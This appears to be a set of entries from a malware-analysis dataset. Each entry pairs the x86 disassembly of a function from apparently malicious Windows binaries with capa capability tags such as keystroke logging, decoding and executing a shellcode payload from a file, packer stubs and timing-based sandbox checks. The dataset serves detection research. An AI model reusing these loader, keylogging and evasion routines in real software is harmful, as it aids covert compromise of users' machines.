joyce8/EMBER2024-capa huggingface dataset:
Function at 0x489290
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x4ff1a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x40c], ecx
xor ecx, ecx
push 2
push ecx
push eax
mov dword [ebp - 0x410], ecx
mov dword [ebp - 0x408], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4892df
call fcn.00481e60
mov esi, eax
jmp 0x489386
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4892f8
call fcn.00481e60
jmp 0x48937d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x48930d
call fcn.00481e60
jmp 0x48937d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
jae 0x489325
mov esi, 0x8007000e
jmp 0x48937f
push eax
lea ecx, [ebp - 0x408]
call fcn.004831a0
mov eax, dword [ebp - 0x408]
test eax, eax
jne 0x489342
mov esi, 0x8007000e
jmp 0x48937f
push esi
push eax
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x48935b
call fcn.00481e60
jmp 0x48937d
mov edx, dword [ebp - 0x408]
xor ecx, ecx
mov word [edx + eax*2], cx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x408]
push eax
push ecx
lea ecx, [ebp - 0x410]
call fcn.00484060
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x404]
cmp dword [ebp - 0x408], edx
je 0x4893a0
lea ecx, [ebp - 0x408]
call fcn.00482740
nop
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004911d1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x48a690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.0048a500
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 5
push ebx
push esi
mov dword [ebp - 8], 0
call edi
mov dword [ebp - 0xc], eax
test eax, eax
je 0x48a75e
push 0xf0
push ebx
push esi
call edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
xor ebx, ebx
test eax, eax
je 0x48a6e4
push eax
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [ebp - 0xc]
push eax
push esi
mov dword [ebp - 4], 0
call edi
test eax, eax
je 0x48a747
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x48a747
push ebx
push edi
call fcn.004814c0
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
add esp, 8
push ecx
mov ebx, eax
mov eax, dword [ebp + 0x10]
push edx
push eax
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
mov dword [ebp - 8], eax
test eax, eax
jne 0x48a733
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp ebx, edi
je 0x48a750
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x48a750
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x48a75e
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48f1e4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x5018c8], 0
push esi
push edi
jne 0x48f15a
call fcn.0048f0c6
test eax, eax
je 0x48f19f
mov eax, dword [0x5018c8]
cmp eax, 1
jne 0x48f17b
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x48f19f
jmp 0x48f1e1
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x48f1e1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x48f1a3
xor eax, eax
jmp 0x48f1e1
mov eax, dword [esi]
push dword [0x5018c8]
call edi
mov edi, eax
test edi, edi
je 0x48f1c5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x48f1e1
lea edi, [esi + 0xff0]
push esi
push dword [0x5018c8]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x48f1cb
mov eax, esi
pop edi
pop esi
ret
jmp 0x48f146

Function at 0x4911d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ff1a0]
jne 0x4911db
repz ret
jmp fcn.00497d3c
Function at 0x49f185
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ff1a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004977e2
and dword [ebp - 0x14], 0
cmp dword [0x502a24], 0
mov dword [ebp - 0x18], eax
jne 0x49f238
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x49f2e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4c2934
push ebx
call edi
test eax, eax
je 0x49f2e0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x502a24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x502a28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x502a2c], eax
call edi
push eax
call esi
mov dword [0x502a34], eax
test eax, eax
je 0x49f238
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x502a30], eax
mov eax, dword [0x502a30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x49f291
cmp dword [0x502a34], ecx
je 0x49f291
push eax
call esi
push dword [0x502a34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x49f291
test ebx, ebx
je 0x49f291
call edi
test eax, eax
je 0x49f288
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x49f288
test byte [ebp - 8], 1
jne 0x49f291
or dword [ebp + 0x10], 0x200000
jmp 0x49f2c4
mov eax, dword [0x502a28]
cmp eax, dword [ebp - 0x18]
je 0x49f2c4
push eax
call esi
test eax, eax
je 0x49f2c4
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x49f2c4
mov eax, dword [0x502a2c]
cmp eax, dword [ebp - 0x18]
je 0x49f2c4
push eax
call esi
test eax, eax
je 0x49f2c4
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x502a24]
call esi
test eax, eax
je 0x49f2e0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x49f2e2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004911d1
leave
ret
Function at 0x10002a50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [0x1003ed68], 0x1a2
mov eax, dword [0x1003ed64]
mov dword [ebp - 4], eax
lea eax, [fcn.10002a50]
mov ecx, dword [ebp - 4]
add ecx, 0xfffffb84
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
jmp 0x10002a9b
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
sete dl
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x11]
test al, 1
jne 0x10002ab0
jmp 0x10002ac0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
cmp word [eax], 0x5a4d
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], ecx
je 0x10002a7f
jmp 0x10002ac0
mov eax, dword [ebp - 0x18]
mov dword [0x1003ed64], eax
mov eax, dword [ebp - 0x10]
add esp, 0x18
pop ebp
ret
mov eax, 0xab2
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jmp 0x10002a9b

Function at 0x10003020
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1003ed68]
add edi, 0x1064
mov dword [0x1003ed64], edi
mov dword [0x1003ed70], 0
mov byte [0x1003ed74], 0
mov dword [0x1003ed68], 0x1215
mov dword [0x1003ed6c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100030a6
mov dword [0x1003ed68], 0x2133
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x1003ed64], 0x1408
mov dword [0x1003ed6c], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100030ce
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1003ed6c]
add eax, 1
mov dword [0x1003ed6c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100030a6
jmp 0x1000308b
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x1003ed70]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov eax, edi
cdq
idiv ecx
mov dword [0x1003ed70], edx
mov ecx, dword [0x1003ed6c]
mov edx, dword [ebp - 0x18]
mov cl, byte [edx + ecx]
mov byte [0x1003ed74], cl
mov edi, dword [0x1003ed68]
add edi, 0xffffd9c5
mov dword [0x1003ed68], edi
mov edi, dword [0x1003ed70]
mov cl, byte [edx + edi]
mov edi, dword [0x1003ed6c]
mov byte [edx + edi], cl
mov edi, dword [0x1003ed64]
add edi, 0x2328
mov dword [0x1003ed64], edi
mov cl, byte [0x1003ed74]
mov edi, dword [0x1003ed70]
mov byte [edx + edi], cl
mov dword [0x1003ed68], 0x2f0
mov edi, dword [0x1003ed6c]
add edi, 1
mov dword [0x1003ed6c], edi
cmp edi, 0x100
mov dword [ebp - 0x20], edi
jl 0x100030ce
jmp 0x10003079
Function at 0x100031a0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1003ed6c], 0
mov dword [0x1003ed70], 0
mov dword [0x1003ed78], 0
mov dword [0x1003ed64], 0x1d5a
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x100032dd
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x1003ed6c]
add edx, 1
mov dword [ebp - 0x24], eax
mov eax, edx
cdq
idiv ecx
mov dword [0x1003ed6c], edx
mov esi, dword [0x1003ed70]
mov edi, dword [ebp - 0x1c]
movzx edx, byte [edi + edx]
add edx, esi
mov eax, edx
cdq
idiv ecx
mov dword [0x1003ed70], edx
mov ecx, dword [0x1003ed6c]
mov bl, byte [edi + ecx]
mov byte [0x1003ed74], bl
mov ecx, dword [0x1003ed64]
add ecx, 0xfffff6df
mov dword [0x1003ed64], ecx
mov ecx, dword [0x1003ed70]
mov bl, byte [edi + ecx]
mov ecx, dword [0x1003ed6c]
mov byte [edi + ecx], bl
mov dword [0x1003ed68], 0x63b
mov bl, byte [0x1003ed74]
mov ecx, dword [0x1003ed70]
mov byte [edi + ecx], bl
mov dword [0x1003ed64], 0xbac
mov ecx, dword [0x1003ed6c]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x1003ed70]
movzx edx, byte [edi + edx]
add edx, ecx
and edx, 0xff
mov dword [0x1003ed78], edx
mov dword [0x1003ed64], 0x1236
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x24]
mov bl, byte [ecx + esi]
xor bl, byte [edi + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], bl
add esi, 1
mov ecx, dword [ebp - 0x10]
cmp esi, ecx
mov dword [ebp - 0x20], esi
jne 0x100031f9
mov eax, dword [0x1003ed64]
add eax, 0xf2d
mov dword [0x1003ed64], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x427432
Capabilities:
Encode data using xor

Disassembly:
pop ebp
clc
pushal
lea edi, [ebp + 0x42]
mov si, 0x256
cld
mov cl, byte [edi]
xor cl, 0x59
rol cl, 0xc4
xor cl, 0x18
mov byte [edi], cl
inc edi
dec si
jne 0x42743d
jmp 0x427495
fmul st(0)
fdivr dword [esi + 0x7d0c6bc0]
invalid

Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6b
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0
mov eax, dword [0x10002014]
mov dword [ebp - 0x14], eax
mov cx, word [0x10002018]
mov word [ebp - 0x10], cx
mov byte [0x1000300d], 0
mov byte [0x1000301a], 0
mov byte [0x10003026], 0
mov byte [0x10003032], 0
mov byte [0x10003044], 0
mov byte [0x10003051], 0
mov byte [0x10003065], 0
mov byte [0x10003073], 0
mov byte [0x10003081], 0
mov byte [0x1000308e], 0
mov byte [0x100030a1], 0
mov byte [0x100030aa], 0
push 0x100030a2
push 0x1000201c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x10003066
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 1
push 0
push 0
lea edx, [ebp - 0x12]
push edx
push 0
push 0
call dword [ebp - 0x20]
push 0x10003027
push 0x10002050
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x1000300e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x2c]
push eax
call dword [ebp - 8]
mov dword [0x100030b0], eax
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x18]
mov dword [0x100030ac], eax
push 0
push 0x100030bc
push 0x1000
mov ecx, dword [0x100030ac]
push ecx
mov edx, dword [0x100030b0]
push edx
call dword [ebp - 0xc]
mov eax, dword [0x100030ac]
mov cl, byte [eax]
mov byte [0x100030b4], cl
mov dword [ebp - 4], 0x42
movzx edx, byte [0x100030b4]
xor edx, 0x4e
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0
jmp 0x1000119a
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [0x100030bc]
jae 0x100011c4
mov edx, dword [0x100030ac]
add edx, dword [ebp - 0x30]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x1c]
add eax, dword [ebp - 4]
mov ecx, dword [0x100030ac]
add ecx, dword [ebp - 0x30]
mov byte [ecx], al
jmp 0x10001191
call dword [0x100030ac]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x804]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x404]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40170c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40171b
pop dword [ebp - 0x50]
mov eax, 0x4f888527
sub eax, 0x4f486e0c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5aa7ab17
sub dword [ebp - 0x60], 0xc5565cc
mov dword [ebp - 0x5c], 0xa7bfef82
sub dword [ebp - 0x5c], 0x758ca33d
mov dword [ebp - 0x58], 0x1469c455
add dword [ebp - 0x58], 0x37e27fd9
mov dword [ebp - 0x54], 0x92aed2b9
sub dword [ebp - 0x54], 0x92aed2b9
lea eax, [ebp - 0x60]
push eax
mov eax, 0xfeab0a92
sub eax, 0xfe6a3a3e
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xbaa70fbf
add dword [ebp - 0x60], 0xb9cb5997
mov dword [ebp - 0x5c], 0xaa3018c1
add dword [ebp - 0x5c], 0x973c48b4
mov dword [ebp - 0x58], 0x880e521d
sub dword [ebp - 0x58], 0x249ee5b1
mov dword [ebp - 0x54], 0xa7aef7cc
sub dword [ebp - 0x54], 0xa7aef7cc
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x5e54ac9a
add eax, 0xa1ec23b2
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x395c2
push 0
call eax
mov ecx, 0x8c760627
add ecx, 0x738a405c
mov ebx, eax
mov edi, 0x933bbf8
sub edi, 0x8f20bf8
add edi, dword [ebp - 0x50]
mov edx, 0x1deee79
add dword [ebp - 0x1c], 0xd3807c7
mov esi, dword [edi]
xor esi, edx
mov dword [ebp - 0x38], 0x6d62e51
mov dword [ebx], esi
sub dword [ebp - 4], edi
add ebx, 0xb59c03b6
add ebx, 0x4a63fc4e
add edi, 0xe84ed0e4
add edi, 0x17b12f20
loop 0x401837
add eax, 0xd9c82aed
add eax, 0x2638e1f2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x421740
Capabilities:
Encode data using xor

Disassembly:
xor dl, dl
mov dl, byte [edi]
xor dl, bl
mov byte [edi], dl
inc edi
cmp edi, ecx
jne fcn.00421740
ret
Function at 0x4013a4
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4013b6
mov eax, dword [0x49408b]
shl eax, 2
mov dword [0x49408f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00488eac
pop edx
call fcn.00488e10
call fcn.00488eec
push 0
call fcn.0048a2f8
pop ecx
push 0x494034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x494093], eax
push 0
jmp fcn.0048e328

Function at 0x4071cc
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x2c], 0
jne 0x4072f5
mov eax, dword [ebp + 0xc]
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov edi, eax
mov dword [esi + 0x2c], edi
test edi, edi
je 0x4072f5
mov bl, 1
push str.InitializeWinIo
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi], eax
test eax, eax
jne 0x40720a
xor ebx, ebx
push str.ShutdownWinIo
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 4], eax
test eax, eax
jne 0x407221
xor ebx, ebx
push str.MapPhysToLin
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 8], eax
test eax, eax
jne 0x407238
xor ebx, ebx
push str.UnmapPhysicalMemory
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0xc], eax
test eax, eax
jne 0x40724f
xor ebx, ebx
push str.GetPhysLong
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x10], eax
test eax, eax
jne 0x407266
xor ebx, ebx
push str.SetPhysLong
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x14], eax
test eax, eax
jne 0x40727d
xor ebx, ebx
push str.GetPortVal
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x18], eax
test eax, eax
jne 0x407294
xor ebx, ebx
push str.SetPortVal
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x1c], eax
test eax, eax
jne 0x4072ab
xor ebx, ebx
push str.InstallWinIoDriver
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x20], eax
test eax, eax
jne 0x4072c2
xor ebx, ebx
push str.RemoveWinIoDriver
mov eax, dword [esi + 0x2c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [esi + 0x24], eax
test eax, eax
jne 0x4072d9
xor ebx, ebx
test bl, bl
je 0x4072ea
call dword [esi]
mov byte [esi + 0x28], al
cmp byte [esi + 0x28], 0
jne 0x4072ea
xor ebx, ebx
test bl, bl
jne 0x4072f5
push esi
call fcn.0040730c
pop ecx
push esi
call fcn.00407338
cmp dword [esi + 0x2c], 0
setne al
and eax, 1
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x407de4
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
lea eax, [ebp - 8]
push eax
call sub.KERNEL32.DLL_QueryPerformanceCounter
jmp 0x407e0f
lea edx, [ebp - 0x10]
push edx
call sub.KERNEL32.DLL_QueryPerformanceCounter
mov eax, dword [ebp - 0x10]
mov ebx, eax
mov eax, dword [ebp - 8]
sub ebx, eax
mov edx, dword [sym.simidu.exe__Form1]
mov ecx, dword [edx]
mov eax, dword [ecx + 0x4910]
imul esi
cmp ebx, eax
jl 0x407dfc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d6e0
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x40d62c
call sub.USER32.DLL_EnumWindows
ret

Function at 0x40d804
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x40d881
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040d250
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
push 0
call sub.KERNEL32.DLL_Sleep
call sub.KERNEL32.DLL_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x40d829
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0040cea8
cmp dword [ebp - 4], 0
je 0x40d86b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00486910
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.USER32.DLL_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d888
lea eax, [ebp - 4]
call fcn.00486460
ret

Function at 0x41b360
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00486460
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x41b3af
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.004866c8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x423424
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42342a
ret

Function at 0x425a28
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x425a79
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x425a60
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x425a50
jmp 0x425a79
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x425a61
pop ebx
mov esp, ebp
pop ebp
ret